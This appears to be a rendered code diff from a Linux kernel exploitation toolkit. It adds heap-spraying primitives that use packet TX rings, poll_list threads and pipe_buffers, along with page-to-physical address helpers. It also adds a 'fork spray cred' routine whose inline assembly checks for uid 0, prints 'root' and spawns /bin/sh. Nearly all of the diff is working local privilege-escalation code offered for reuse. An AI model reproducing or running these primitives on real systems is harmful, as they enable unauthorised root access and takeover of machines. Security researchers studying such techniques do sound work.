5
5
*/
6
6
int sprayfd_child [2 ];
7
7
int sprayfd_parent [2 ];
8
- int socketfds [INITIAL_PAGE_SPRAY ];
8
+ int socketfds [10 * INITIAL_PAGE_SPRAY ];
9
9
unsigned long user_cs , user_ss , user_rflags , user_sp ;
10
10
unsigned long long int base_addr ;
11
11
void * (* prepare_kernel_cred )(uint64_t )KERNCALL ;
@@ -47,12 +47,13 @@ void unshare_setup(uid_t uid, gid_t gid) {
47
47
return ;
48
48
}
49
49
50
- void send_spray_cmd (enum spray_cmd cmd , int idx ) {
50
+ void send_spray_cmd (enum spray_cmd cmd , int idx , uint32_t order ) {
51
51
ipc_req_t req ;
52
52
int32_t result ;
53
53
54
54
req .cmd = cmd ;
55
55
req .idx = idx ;
56
+ req .order = order ;
56
57
write (sprayfd_child [1 ], & req , sizeof (req ));
57
58
read (sprayfd_parent [0 ], & result , sizeof (result ));
58
59
assert (result == idx );
@@ -84,6 +85,8 @@ int alloc_pages_via_sock(uint32_t size, uint32_t n) {
84
85
req .tp_frame_size = 4096 ;
85
86
req .tp_frame_nr = (req .tp_block_size * req .tp_block_nr ) / req .tp_frame_size ;
86
87
88
+ // printf("req.tp_block_size: %d\n", req.tp_block_size);
89
+
87
90
if (setsockopt (socketfd , SOL_PACKET , PACKET_TX_RING , & req , sizeof (req )) < 0 ) {
88
91
perror ("setsockopt PACKET_TX_RING failed" );
89
92
exit (-1 );
@@ -98,9 +101,10 @@ void spray_comm_handler() {
98
101
99
102
do {
100
103
read (sprayfd_child [0 ], & req , sizeof (req ));
101
- assert (req .idx < INITIAL_PAGE_SPRAY );
104
+ assert (req .idx < 10 * INITIAL_PAGE_SPRAY );
102
105
if (req .cmd == ALLOC_PAGE ) {
103
- socketfds [req .idx ] = alloc_pages_via_sock (4096 , 1 );
106
+ assert (req .order < 10 );
107
+ socketfds [req .idx ] = alloc_pages_via_sock (4096 * (1 << req .order ), 1 );
104
108
} else if (req .cmd == FREE_PAGE ) {
105
109
close (socketfds [req .idx ]);
106
110
}
@@ -110,6 +114,7 @@ void spray_comm_handler() {
110
114
}
111
115
112
116
static void socket_spray_example () {
117
+ uint32_t order = 0 ;
113
118
// for communicating with spraying in separate namespace via TX_RINGs
114
119
pipe (sprayfd_child );
115
120
pipe (sprayfd_parent );
@@ -122,12 +127,12 @@ static void socket_spray_example() {
122
127
123
128
puts ("Allocated all pages" );
124
129
for (int i = 0 ; i < INITIAL_PAGE_SPRAY ; i ++ ) {
125
- send_spray_cmd (ALLOC_PAGE , i );
130
+ send_spray_cmd (ALLOC_PAGE , i , order );
126
131
}
127
132
128
133
puts ("Closed all odd pages" );
129
134
for (int i = 1 ; i < INITIAL_PAGE_SPRAY ; i += 2 ) {
130
- send_spray_cmd (FREE_PAGE , i );
135
+ send_spray_cmd (FREE_PAGE , i , 0 );
131
136
}
132
137
133
138
// TODO: get the freed odd pages back with our struct
@@ -138,7 +143,7 @@ static void socket_spray_example() {
138
143
139
144
puts ("Closed all even pages" );
140
145
for (int i = 0 ; i < INITIAL_PAGE_SPRAY ; i += 2 ) {
141
- send_spray_cmd (FREE_PAGE , i );
146
+ send_spray_cmd (FREE_PAGE , i , 0 );
142
147
}
143
148
}
144
149
@@ -480,6 +485,50 @@ void create_poll_thread(int id, size_t size, int timeout) {
480
485
pthread_create (& poll_tid [id ], 0 , alloc_poll_list , (void * )args );
481
486
}
482
487
488
+ void * alloc_poll_list_for_crosscache (void * args ) {
489
+ struct pollfd * pfds ;
490
+ int nfds , timeout , id , watch_fd ;
491
+
492
+ id = ((struct t_args * )args )-> id ;
493
+ nfds = ((struct t_args * )args )-> nfds ;
494
+ timeout = ((struct t_args * )args )-> timeout ;
495
+ watch_fd = ((struct t_args * )args )-> watch_fd ;
496
+
497
+ pfds = calloc (nfds , sizeof (struct pollfd ));
498
+
499
+ for (int i = 0 ; i < nfds ; i ++ ) {
500
+ pfds [i ].fd = watch_fd ;
501
+ pfds [i ].events = POLLERR ;
502
+ }
503
+
504
+ assign_thread_to_core (0 );
505
+
506
+ pthread_mutex_lock (& mutex );
507
+ poll_threads ++ ;
508
+ pthread_mutex_unlock (& mutex );
509
+
510
+ sleep (6 );
511
+
512
+ printf ("[Thread %d] Start polling...\n" , id );
513
+ int ret = poll (pfds , nfds , timeout );
514
+ printf ("[Thread %d] Polling complete: %d!\n" , id , ret );
515
+ }
516
+
517
+ void create_poll_thread_for_crosscache (int id , size_t size , int timeout ) {
518
+ struct t_args * args ;
519
+
520
+ args = calloc (1 , sizeof (struct t_args ));
521
+
522
+ if (size > PAGE_SIZE ) size = size - ((size / PAGE_SIZE ) * sizeof (struct poll_list ));
523
+
524
+ args -> id = id ;
525
+ args -> nfds = NFDS (size );
526
+ args -> timeout = timeout ;
527
+ args -> watch_fd = poll_watch_fd ;
528
+
529
+ pthread_create (& poll_tid [id ], 0 , alloc_poll_list_for_crosscache , (void * )args );
530
+ }
531
+
483
532
void join_poll_threads (void ) {
484
533
for (int i = 0 ; i < poll_threads ; i ++ ) pthread_join (poll_tid [i ], NULL );
485
534
@@ -534,4 +583,155 @@ void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t use
534
583
sendmsg_msgs [i ].msg_namelen = sizeof (socket_addr );
535
584
register_userfault (sendmsg_mmaped_addrs [i ] + 0x1000 , PAGE_SIZE , (uint64_t )userfault_handler );
536
585
}
586
+ }
587
+
588
+
589
+ /**
590
+ * @brief pipe_buffer 相关
591
+ *
592
+ */
593
+
594
+
595
+
596
+ int pipefds [PIPE_SPRAY_NUM ][2 ];
597
+
598
+ void extend_pipe_buffer (int idx , size_t size ) {
599
+ int ret = fcntl (pipefds [idx ][1 ], F_SETPIPE_SZ , size );
600
+ if (ret < 0 ) {
601
+ perror ("[X] fcntl" );
602
+ exit (1 );
603
+ }
604
+ }
605
+
606
+ void spray_pipe () {
607
+ for (int i = 0 ; i < PIPE_SPRAY_NUM ; i ++ ) {
608
+ if (pipe (pipefds [i ]) < 0 ) {
609
+ perror ("[X] pipe" );
610
+ exit (1 );
611
+ }
612
+ }
613
+ }
614
+
615
+ /**
616
+ * @brief convert page to physic address
617
+ *
618
+ */
619
+
620
+ uint64_t virtual_base = 0xffff888000000000 ;
621
+ uint64_t vmemmap_base = 0xffffea0000000000 ;
622
+
623
+ uint64_t page_to_virtual (uint64_t page ) {
624
+ uint64_t page_cnt = (page - vmemmap_base ) / 0x40 ;
625
+ uint64_t virtual_addr = virtual_base + page_cnt * 0x1000 ;
626
+ return virtual_addr ;
627
+ }
628
+
629
+ uint64_t page_to_physic (uint64_t page ) {
630
+ return page_to_virtual (page ) - virtual_base ;
631
+ }
632
+
633
+
634
+ /**
635
+ * @brief fork spray cred 相关
636
+ *
637
+ */
638
+
639
+ __attribute__((naked )) pid_t __clone (uint64_t flags , void * dest )
640
+ {
641
+ __asm__ __volatile__(
642
+ ".intel_syntax noprefix;\n"
643
+ "mov r15, rsi;\n"
644
+ "xor rsi, rsi;\n"
645
+ "xor rdx, rdx;\n"
646
+ "xor r10, r10;\n"
647
+ "xor r9, r9;\n"
648
+ "mov rax, 56;\n"
649
+ "syscall;\n"
650
+ "cmp rax, 0;\n"
651
+ "jl bad_end;\n"
652
+ "jg good_end;\n"
653
+ "jmp r15;\n"
654
+ "bad_end:\n"
655
+ "neg rax;\n"
656
+ "ret;\n"
657
+ "good_end:\n"
658
+ "ret;\n"
659
+ ".att_syntax prefix;\n"
660
+ );
661
+ }
662
+
663
+ int rootfd [2 ];
664
+ struct timespec timer = {.tv_sec = 1000000000 , .tv_nsec = 0 };
665
+ char throwaway ;
666
+ char root [] = "root\n" ;
667
+ char binsh [] = "/bin/sh\x00" ;
668
+ char * args [] = {"/bin/sh" , NULL };
669
+
670
+ __attribute__((naked )) void check_and_wait ()
671
+ {
672
+ __asm__ __volatile__(
673
+ ".intel_syntax noprefix;\n"
674
+ "lea rax, [rootfd];\n"
675
+ "mov edi, dword ptr [rax];\n"
676
+ "lea rsi, [throwaway];\n"
677
+ "mov rdx, 1;\n"
678
+ "xor rax, rax;\n"
679
+ "syscall;\n"
680
+ "mov rax, 102;\n"
681
+ "syscall;\n"
682
+ "cmp rax, 0;\n"
683
+ "jne finish;\n"
684
+ "mov rdi, 1;\n"
685
+ "lea rsi, [root];\n"
686
+ "mov rdx, 5;\n"
687
+ "mov rax, 1;\n"
688
+ "syscall;\n"
689
+ "lea rdi, [binsh];\n"
690
+ "lea rsi, [args];\n"
691
+ "xor rdx, rdx;\n"
692
+ "mov rax, 59;\n"
693
+ "syscall;\n"
694
+ "finish:\n"
695
+ "lea rdi, [timer];\n"
696
+ "xor rsi, rsi;\n"
697
+ "mov rax, 35;\n"
698
+ "syscall;\n"
699
+ "ret;\n"
700
+ ".att_syntax prefix;\n"
701
+ );
702
+ }
703
+
704
+ int just_wait ()
705
+ {
706
+ sleep (1000000000 );
707
+ }
708
+
709
+ void fork_spray_cred_example () {
710
+ pipe (rootfd );
711
+
712
+ for (int i = 0 ; i < 0x20 ; i ++ ) {
713
+ pid_t result = fork ();
714
+ if (!result )
715
+ {
716
+ just_wait ();
717
+ }
718
+ if (result < 0 )
719
+ {
720
+ puts ("fork limit" );
721
+ exit (-1 );
722
+ }
723
+ }
724
+
725
+ // TODO: 页风水布局
726
+
727
+ for (int i = 0 ; i < 0x40 ; i ++ )
728
+ {
729
+ pid_t result = __clone (CLONE_FLAGS , & check_and_wait );
730
+ if (result < 0 )
731
+ {
732
+ perror ("clone error" );
733
+ exit (-1 );
734
+ }
735
+ }
736
+
537
737
}
0 commit comments